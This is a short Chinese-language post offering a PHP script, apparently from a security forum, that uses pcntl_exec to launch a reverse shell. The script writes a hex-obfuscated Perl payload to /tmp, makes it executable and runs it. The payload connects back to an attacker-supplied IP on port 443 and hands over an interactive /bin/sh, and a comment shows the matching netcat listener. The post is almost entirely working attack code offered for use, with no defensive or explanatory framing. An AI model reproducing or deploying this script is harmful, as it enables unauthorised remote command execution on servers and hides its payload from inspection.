php-pcntl_exec反弹脚本

via:https://www.t00ls.net/viewthread.php?tid=28086

<?php /******************************* *查看phpinfo编译参数--enable-pcntl *作者 Spider *nc -vvlp 443********************************/ $ip = 'xxx.xxx.xxx.xxx';$port = '443';$file = '/tmp/bc.pl'; header("content-Type: text/html; charset=gb2312"); if(function_exists('pcntl_exec')) {        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";        $fp = fopen($file,'w');        $key = fputs($fp,$data);        fclose($fp);        if(!$key) exit('写入'.$file.'失败');        chmod($file,0777);        pcntl_exec($file);        unlink($file);} else {        echo '不支持pcntl扩展';}?>